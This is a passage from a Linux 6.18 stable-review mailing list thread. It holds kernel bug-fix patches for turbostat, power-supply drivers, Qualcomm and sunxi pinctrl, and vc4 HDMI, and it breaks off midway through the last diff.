^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 019/193] tools/power turbostat: Fix CWF PMT off-by-one
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (17 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 018/193] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 020/193] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
` (184 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 5e940dd96bef6ca03b3b1b4740351237e5ec17e3 ]
Fix off-by-one error causing last CPU on CWF
to never get a pmt counter allocated.
Fixes: 5ce1e9bbb2a1 ("tools/power turbostat: Add CPU%c1e BIC for CWF")
Assisted-by: GitHub Copilot (claude-sonnet-4.6)
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 47471377ff43c..b8ccf277acb23 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -9961,7 +9961,7 @@ void pmt_init(void)
mod_num = 0; /* Relative module number for current PMT file. */
/* Open the counter for each CPU. */
- for (cpu_num = 0; cpu_num < topo.max_cpu_num;) {
+ for (cpu_num = 0; cpu_num <= topo.max_cpu_num;) {
if (cpu_is_not_allowed(cpu_num))
goto next_loop_iter;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 020/193] tools/power turbostat: Fix PMT error path fd handling
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (18 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 019/193] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 021/193] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
` (183 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 11741cc90f9176746b8595beab4fec8d736ebd18 ]
It is possible to leak a file descriptor if a diretory
open succeeds, but the scan fails. Close the fd on error.
Also, on cleanup, check for NULL fd.
Assisted-by: Claude: Claude Sonnet 4.6
Fixes: 4265a86582ea ("tools/power turbostat: Add PMT directory iterator helper")
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index b8ccf277acb23..d7b079d45d365 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -1919,8 +1919,11 @@ const struct dirent *pmt_diriter_begin(struct pmt_diriter_t *iter, const char *p
return NULL;
num_names = scandir(pmt_root_path, &iter->namelist, pmt_telemdir_filter, pmt_telemdir_sort);
- if (num_names == -1)
+ if (num_names == -1) {
+ closedir(iter->dir);
+ iter->dir = NULL;
return NULL;
+ }
}
iter->current_name_idx = 0;
@@ -1948,8 +1951,10 @@ void pmt_diriter_remove(struct pmt_diriter_t *iter)
iter->num_names = 0;
iter->current_name_idx = 0;
- closedir(iter->dir);
- iter->dir = NULL;
+ if (iter->dir) {
+ closedir(iter->dir);
+ iter->dir = NULL;
+ }
}
unsigned int pmt_counter_get_width(const struct pmt_counter *p)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 021/193] tools/power turbostat: Fix add_counter issue if > 24 counters.
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (19 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 020/193] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 022/193] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
` (182 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 154b96dab83fd953b9b82c8bcfa041cd6a9d74d3 ]
We allocate space for added counters ahead of time,
and we arbitrarily chose 24 added counters of each type.
If a future code flow hits this limit and continues,
and then removes counters, we do a phantom increment
and lose track of the number of added counters.
Increment the count only if there is no error.
Fixes: 388e9c8134be ("tools/power turbostat: Make extensible via the --add parameter")
Assisted-by: Claude: Claude Sonnet 4.6
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index d7b079d45d365..3bab2677b0670 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -10195,10 +10195,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_thread_counters++ >= MAX_ADDED_THREAD_COUNTERS) {
+ if (sys.added_thread_counters >= MAX_ADDED_THREAD_COUNTERS) {
warnx("ignoring thread counter %s", name);
return -1;
}
+ sys.added_thread_counters++;
break;
case SCOPE_CORE:
msrp = find_msrp_by_name(sys.cp, name);
@@ -10207,10 +10208,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_core_counters++ >= MAX_ADDED_CORE_COUNTERS) {
+ if (sys.added_core_counters >= MAX_ADDED_CORE_COUNTERS) {
warnx("ignoring core counter %s", name);
return -1;
}
+ sys.added_core_counters++;
break;
case SCOPE_PACKAGE:
msrp = find_msrp_by_name(sys.pp, name);
@@ -10219,10 +10221,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_package_counters++ >= MAX_ADDED_PACKAGE_COUNTERS) {
+ if (sys.added_package_counters >= MAX_ADDED_PACKAGE_COUNTERS) {
warnx("ignoring package counter %s", name);
return -1;
}
+ sys.added_package_counters++;
break;
default:
warnx("ignoring counter %s with unknown scope", name);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 022/193] power: supply: generic-adc-battery: Fix temperature IIO channel conversion
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (20 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 021/193] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 023/193] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
` (181 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Svyatoslav Ryhel, Sebastian Reichel,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Svyatoslav Ryhel <clamor95@gmail.com>
[ Upstream commit 6bca94e64255053ab2aa56f2588fda73d399b790 ]
Temperature IIO channel data is provided in milli-degrees, while
POWER_SUPPLY_PROP_TEMP is expected to be in deci-degrees. Adjust the
existing logic to reflect this conversion properly.
Fixes: 33088c0513818 ("power: supply: generic-adc-battery: add temperature support")
Signed-off-by: Svyatoslav Ryhel <clamor95@gmail.com>
Link: https://patch.msgid.link/20260926142905.206215-2-clamor95@gmail.com
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/generic-adc-battery.c | 9 +++++++--
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/drivers/power/supply/generic-adc-battery.c b/drivers/power/supply/generic-adc-battery.c
index f5f2566b3a32d..c69c9b9fa0eba 100644
--- a/drivers/power/supply/generic-adc-battery.c
+++ b/drivers/power/supply/generic-adc-battery.c
@@ -90,12 +90,17 @@ static int gab_read_channel(struct gab *adc_bat, enum gab_chan_type channel,
int ret;
ret = iio_read_channel_processed(adc_bat->channel[channel], result);
- if (ret < 0)
+ if (ret < 0) {
dev_err(&adc_bat->psy->dev, "read channel error: %d\n", ret);
+ return ret;
+ }
+
+ if (channel == GAB_TEMP)
+ *result /= 100; /* Convert from milli- to deci-degree */
else
*result *= 1000;
- return ret;
+ return 0;
}
static int gab_get_property(struct power_supply *psy,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 023/193] power: supply: core: prevent unregistering a power supply while a callback runs
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (21 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 022/193] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 024/193] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
` (180 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexey Charkov, Sebastian Reichel,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexey Charkov <alchark@flipper.net>
[ Upstream commit 5b4bd13e0552926648a46c2c9a12a24dfaee3715 ]
Once a power supply is registered, its callbacks can immediately start
firing from other contexts, such as external_power_changed() triggered by
the TCPM stack. If a power supply is unregistered while the callback is
still running, the driver data can already be freed when the callback
tries to access it, leading to a use-after-free.
This happens e.g. when the hardware bus carrying the power supply device
malfunctions (e.g. I2C is hogged down by another malfunctioning device)
immediately after the power supply is registered, and thus the core is
still processing the callbacks which were queued up when the driver
starts the removal, leading in some cases to a kernel crash, e.g.:
[ 11.645942] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000005
[ 11.646751] Mem abort info:
[ 11.647006] ESR = 0x0000000096000004
[ 11.647338] EC = 0x25: DABT (current EL), IL = 32 bits
[ 11.647806] SET = 0, FnV = 0
[ 11.648077] EA = 0, S1PTW = 0
[ 11.648356] FSC = 0x04: level 0 translation fault
[ 11.648785] Data abort info:
[ 11.649041] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000
[ 11.649524] CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[ 11.649981] GCS = 0, Overlay = 0, DirtyBit = 0
[ 11.650390] [0000000000000005] user address but active_mm is swapper
[ 11.650955] Internal error: Oops: 0000000096000004 [#1] SMP
[ 11.651460] Modules linked in:
[ 11.651742] CPU: 1 UID: 0 PID: 144 Comm: kworker/1:2 Not tainted 7.2.0-rc6-g62a9297af2cd #1 PREEMPT
[ 11.652553] Hardware name: Flipper One rev. F0B1C2 (DT)
[ 11.653024] Workqueue: events power_supply_changed_work
[ 11.653511] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 11.654135] pc : __power_supply_is_supplied_by+0x18/0x100
[ 11.654624] lr : __power_supply_am_i_supplied+0x40/0xb8
[ 11.655098] sp : ffff80008192bb30
[ 11.655399] x29: ffff80008192bb30 x28: 0000000000000000 x27: 0000000000000000
[ 11.656049] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000
[ 11.656695] x23: ffff0000c19f4200 x22: ffffdb2232ba4ea8 x21: ffff80008192bc28
[ 11.657344] x20: ffff0000c1eef000 x19: ffff80008192bc18 x18: 00000000a0886e62
[ 11.657991] x17: 000000040044ffff x16: 04500072b5503510 x15: 0000000000000000
[ 11.658639] x14: 0000000000000000 x13: 0000000000000220 x12: 0000000000000000
[ 11.659286] x11: 0000000000000000 x10: ffff0000c1fdb2b0 x9 : ffffdb2232ba5590
[ 11.659934] x8 : 00000000e5b906e6 x7 : ffff0000c2502778 x6 : ffffdb22339793d0
[ 11.660581] x5 : ffff80008192bc18 x4 : ffff0000c19cbca0 x3 : 0000000000000000
[ 11.661228] x2 : ffff0000c1fdaf40 x1 : ffffffffffffffed x0 : ffff0000c1eef000
[ 11.661878] Call trace:
[ 11.662103] __power_supply_is_supplied_by+0x18/0x100 (P)
[ 11.662596] __power_supply_am_i_supplied+0x40/0xb8
[ 11.663040] psy_for_each_psy_cb+0x20/0x40
[ 11.663416] class_for_each_device+0x110/0x150
[ 11.663825] power_supply_am_i_supplied+0x68/0x100
[ 11.664262] bq257xx_external_power_changed+0x58/0x140
[ 11.664733] __power_supply_changed_work+0x60/0x80
[ 11.665170] psy_for_each_psy_cb+0x20/0x40
[ 11.665545] class_for_each_device+0x110/0x150
[ 11.665953] power_supply_changed_work+0x98/0x1b8
[ 11.666382] process_one_work+0x164/0x4c0
[ 11.666758] worker_thread+0x19c/0x320
[ 11.667104] kthread+0x138/0x150
[ 11.667408] ret_from_fork+0x10/0x20
[ 11.667744] Code: d503233f a9bd7bfd 910003fd a90153f3 (f9400c34)
[ 11.668294] ---[ end trace 0000000000000000 ]---
Add a read-write semaphore between external_power_changed() and
power_supply_unregister() to prevent the latter from returning (and thus
the driver from freeing its data) while the callback is still running.
Fixes: bc1540561c9e ("power_supply: Add API for safe access of power supply function attrs")
Signed-off-by: Alexey Charkov <alchark@flipper.net>
Link: https://patch.msgid.link/20260910-bq257xx-init-v3-1-4e219a1a04a5@flipper.net
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/power_supply_core.c | 26 +++++++++++++++++++++++-
include/linux/power_supply.h | 10 +++++++++
2 files changed, 35 insertions(+), 1 deletion(-)
diff --git a/drivers/power/supply/power_supply_core.c b/drivers/power/supply/power_supply_core.c
index 42ad333394d94..615dc27089a3a 100644
--- a/drivers/power/supply/power_supply_core.c
+++ b/drivers/power/supply/power_supply_core.c
@@ -1377,6 +1377,19 @@ void power_supply_external_power_changed(struct power_supply *psy)
!psy->desc->external_power_changed)
return;
+ /*
+ * Keep power_supply_unregister() from returning, and thus from letting
+ * the driver's data be freed, while the callback is running. The
+ * ->removing check has to happen under the lock: on its own, just like
+ * the use_cnt check above, it only tells us the supply was still there
+ * when we looked, not that it still is by the time the callback
+ * dereferences its driver data.
+ */
+ guard(rwsem_read)(&psy->epc_sem);
+
+ if (psy->removing)
+ return;
+
psy->desc->external_power_changed(psy);
}
EXPORT_SYMBOL_GPL(power_supply_external_power_changed);
@@ -1621,6 +1634,7 @@ __power_supply_register(struct device *parent,
}
spin_lock_init(&psy->changed_lock);
+ init_rwsem(&psy->epc_sem);
init_rwsem(&psy->extensions_sem);
INIT_LIST_HEAD(&psy->extensions);
@@ -1753,7 +1767,17 @@ EXPORT_SYMBOL_GPL(devm_power_supply_register);
void power_supply_unregister(struct power_supply *psy)
{
WARN_ON(atomic_dec_return(&psy->use_cnt));
- psy->removing = true;
+
+ /*
+ * Publish ->removing so that no new ->external_power_changed() call can
+ * start, and wait via semaphore for one that is already running: it may
+ * be a supplier's changed_work, which cancel_work_sync() below does not
+ * cover, and it may still dereference driver data that the caller is
+ * about to free.
+ */
+ scoped_guard(rwsem_write, &psy->epc_sem)
+ psy->removing = true;
+
cancel_work_sync(&psy->changed_work);
cancel_delayed_work_sync(&psy->deferred_register_work);
sysfs_remove_link(&psy->dev.kobj, "powers");
diff --git a/include/linux/power_supply.h b/include/linux/power_supply.h
index 2a8266b125618..8f9e4d0843059 100644
--- a/include/linux/power_supply.h
+++ b/include/linux/power_supply.h
@@ -335,6 +335,16 @@ struct power_supply {
bool removing;
atomic_t use_cnt;
struct power_supply_battery_info *battery_info;
+ /*
+ * Held for read while ->external_power_changed() runs, and for write by
+ * power_supply_unregister() when it publishes @removing, so that it
+ * waits for an in-flight callback to finish. Without this a driver's
+ * data, typically devm-allocated on its own device, can be freed while
+ * the callback is still using it.
+ * Must not be shared with extensions_sem: callbacks may read their own
+ * properties, which takes that one for read.
+ */
+ struct rw_semaphore epc_sem;
struct rw_semaphore extensions_sem; /* protects "extensions" */
struct list_head extensions;
#ifdef CONFIG_THERMAL
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 024/193] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (22 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 023/193] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 025/193] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
` (179 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Adriel Santos, Dmitry Baryshkov,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Adriel Santos <adriel@adriel.eu>
[ Upstream commit 709ba1c547eaf37da36ded2ecf3ea4e304cdfa9a ]
The pingroup table has gcc_plltest at function 5 of gpio12 and does not
offer pwm2 on that pin, so the pinmux core rejects a request for pwm2 on
gpio12 as an invalid group. On the hardware, function 5 of gpio12
carries the PWM2 output: the Xiaomi AX3000T v2 drives its blue status
LED from PWM2 on gpio12.
The vendor kernel shipped on that router (Linux 4.4, stock firmware
2.0.28) has pwm2 in this slot. Its pingroup table, as read from the
firmware image, lists these functions for gpio12:
gpio, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a,
_, _, _
and has pwm3 at function 4 of gpio13, matching commit c6c159fcdb4e
("pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13").
Measured on the board: with gpio12 set to each of the 16 function
values in turn, and PWM2 held at 0% and then at 100% duty, the pad
level read back from GPIO_IN follows PWM2 only at function 5. There it
does not follow PWM channels 0, 1 or 3, and the LED switches with PWM2.
Functions 4 and 7, which the table leaves empty, do not carry PWM2.
Put pwm2 in function 5 of gpio12 and list gpio12 in pwm2_groups. Drop
gpio12 from gcc_plltest_groups: none of its functions is gcc_plltest
any more, and selecting it would trigger the WARN_ON() in
msm_pinmux_set_mux().
Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
Assisted-by: LLM
Signed-off-by: Adriel Santos <adriel@adriel.eu>
Reviewed-by: Dmitry Baryshkov <dmitry.baryshkov@oss.qualcomm.com>
Link: https://patch.msgid.link/20261002160958.908424-1-adriel@adriel.eu
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/drivers/pinctrl/qcom/pinctrl-ipq5018.c b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
index 4e1f033ee2d62..c6e52615b36ec 100644
--- a/drivers/pinctrl/qcom/pinctrl-ipq5018.c
+++ b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
@@ -363,7 +363,7 @@ static const char * const blsp1_uart0_groups[] = {
};
static const char * const gcc_plltest_groups[] = {
- "gpio10", "gpio12",
+ "gpio10",
};
static const char * const gcc_tlmm_groups[] = {
@@ -557,7 +557,7 @@ static const char * const qdss_cti_trig_in_b0_groups[] = {
};
static const char * const pwm2_groups[] = {
- "gpio44",
+ "gpio12", "gpio44",
};
static const char * const qdss_cti_trig_out_b1_groups[] = {
@@ -690,7 +690,7 @@ static const struct msm_pingroup ipq5018_groups[] = {
PINGROUP(9, sdc1_clk, qspi_clk, _, qdss_tracedata_a, _, _, _, _, _),
PINGROUP(10, blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),
PINGROUP(11, blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _),
- PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _),
+ PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a, _, _, _),
PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),
PINGROUP(14, pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _),
PINGROUP(15, _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 025/193] pinctrl: sunxi: dt: do not accumulate npins across probe attempts
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (23 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 024/193] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 026/193] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
` (178 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pablo Mazzini, Andre Przywara,
Linus Walleij, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pablo Mazzini <pmazzini@gmail.com>
[ Upstream commit c5895eadf287116434b7b01d67b92e8146f7ff61 ]
init_pins_table() adds to npins in the driver's static descriptor, so
after a probe deferral the count doubles and the next probe fails with
"pin 0 already registered". Reset it first.
Signed-off-by: Pablo Mazzini <pmazzini@gmail.com>
Fixes: f5e2cd34b12f ("pinctrl: sunxi: allow reading mux values from DT")
Reviewed-by: Andre Przywara <andre.przywara@arm.com>
Signed-off-by: Linus Walleij <linusw@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c b/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
index 50a16f3bd1316..8bcd566593ae8 100644
--- a/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
+++ b/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
@@ -84,6 +84,7 @@ static struct sunxi_desc_pin *init_pins_table(struct device *dev,
* Find the total number of pins.
* Also work out how much memory we need to store all the pin names.
*/
+ desc->npins = 0;
for (i = 0; i < SUNXI_PINCTRL_MAX_BANKS; i++) {
desc->npins += pins_per_bank[i];
if (pins_per_bank[i] < 10) {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 026/193] drm/vc4: hdmi: Move packet RAM enable to PM runtime
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (24 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 025/193] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 027/193] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
` (177 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dave Stevenson, Maxime Ripard,
Maíra Canal, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dave Stevenson <dave.stevenson@raspberrypi.com>
[ Upstream commit 3f57b34485dc01e5a2db60a89a6ae5439a897e53 ]
Audio can be triggered by the HPD handler and start up before video has
been restored, calling vc4_hdmi_write_infoframe() for the audio infoframe.
vc4_hdmi_write_infoframe() needs Packet RAM to be on to store the
infoframe, however, if the video hasn't been enabled,
vc4_hdmi_encoder_post_crtc_enable() hasn't been called and therefore, the
Packet RAM can be disabled by the time vc4_hdmi_write_infoframe() executes,
causing the following splat:
[ 201.570266] ------------[ cut here ]------------
[ 201.570293] Packet RAM has to be on to store the packet.
[ 201.570367] WARNING: drivers/gpu/drm/vc4/vc4_hdmi.c:683 at vc4_hdmi_write_infoframe+0x404/0x494 [vc4], CPU#0: wireplumber/1606
[...]
[ 201.658650] Hardware name: Raspberry Pi 4 Model B Rev 1.5 (DT)
[...]
[ 201.758499] Call trace:
[ 201.760967] vc4_hdmi_write_infoframe+0x404/0x494 [vc4] (P)
[ 201.766607] vc4_hdmi_write_audio_infoframe+0x1c/0x28 [vc4]
[ 201.772247] write_infoframe+0xbc/0x140 [drm_display_helper]
[ 201.777975] drm_atomic_helper_connector_hdmi_update_audio_infoframe+0x80/0xdc [drm_display_helper]
[ 201.787140] vc4_hdmi_audio_prepare+0x4ac/0x570 [vc4]
[ 201.792252] drm_connector_hdmi_audio_prepare+0x24/0x30 [drm_display_helper]
[ 201.799390] hdmi_codec_prepare+0x100/0x160 [snd_soc_hdmi_codec]
[ 201.805471] snd_soc_pcm_dai_prepare+0xd4/0x100 [snd_soc_core]
[ 201.811375] __soc_pcm_prepare+0x60/0x12c [snd_soc_core]
[ 201.816752] soc_pcm_prepare+0x34/0x58 [snd_soc_core]
[ 201.821863] snd_pcm_do_prepare+0x70/0x8c [snd_pcm]
[ 201.826798] snd_pcm_action_nonatomic+0xe4/0x174 [snd_pcm]
[ 201.832350] snd_pcm_prepare+0xc8/0xd8 [snd_pcm]
[ 201.837021] snd_pcm_common_ioctl+0x458/0x614 [snd_pcm]
[ 201.842308] snd_pcm_ioctl+0x30/0x48 [snd_pcm]
[ 201.846802] __arm64_sys_ioctl+0x88/0xd8
[ 201.850769] invoke_syscall+0x48/0xf4
[ 201.854470] el0_svc_common+0x80/0xd8
[ 201.858171] do_el0_svc+0x1c/0x28
[ 201.861520] el0_svc+0x3c/0xb0
[ 201.864605] el0t_64_sync_handler+0x68/0xdc
[ 201.868834] el0t_64_sync+0x198/0x19c
[ 201.872536] ---[ end trace 0000000000000000 ]---
Considering that Packet RAM enable is essentially a power management
configuration, move its enabling/disabling to the Runtime PM hooks.
Note that post_crtc_disable() still stops all infoframes, but keeps Packet
RAM enabled, leaving it to be disabled by runtime suspend.
Link: https://github.com/raspberrypi/linux/issues/7069
Fixes: b47a72f30768 ("drm/vc4: hdmi: Switch to HDMI connector")
Signed-off-by: Dave Stevenson <dave.stevenson@raspberrypi.com>
Acked-by: Maxime Ripard <mripard@kernel.org>
Link: https://patch.msgid.link/20261002-vc4-hdmi-packet-ram-fix-v1-1-3d73148096c9@igalia.com
Reviewed-by: Maíra Canal <mcanal@igalia.com>
Signed-off-by: Maíra Canal <mcanal@igalia.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/vc4/vc4_hdmi.c | 20 +++++++++++---------
1 file changed, 11 insertions(+), 9 deletions(-)
diff --git a/drivers/gpu/drm/vc4/vc4_hdmi.c b/drivers/gpu/drm/vc4/vc4_hdmi.c
index 34b974f46f87d..2f854386c3389 100644
--- a/drivers/gpu/drm/vc4/vc4_hdmi.c
+++ b/drivers/gpu/drm/vc4/vc4_hdmi.c
@@ -816,7 +816,7 @@ static void vc4_hdmi_encoder_post_crtc_disable(struct drm_encoder *encoder,
spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, 0);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, VC4_HDMI_RAM_PACKET_ENABLE);
HDMI_WRITE(HDMI_VID_CTL, HDMI_READ(HDMI_VID_CTL) | VC4_HD_VID_CTL_CLRRGB);
@@ -1588,9 +1588,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,
WARN_ONCE(ret, "Timeout waiting for "
"VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE\n");
} else {
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG,
- HDMI_READ(HDMI_RAM_PACKET_CONFIG) &
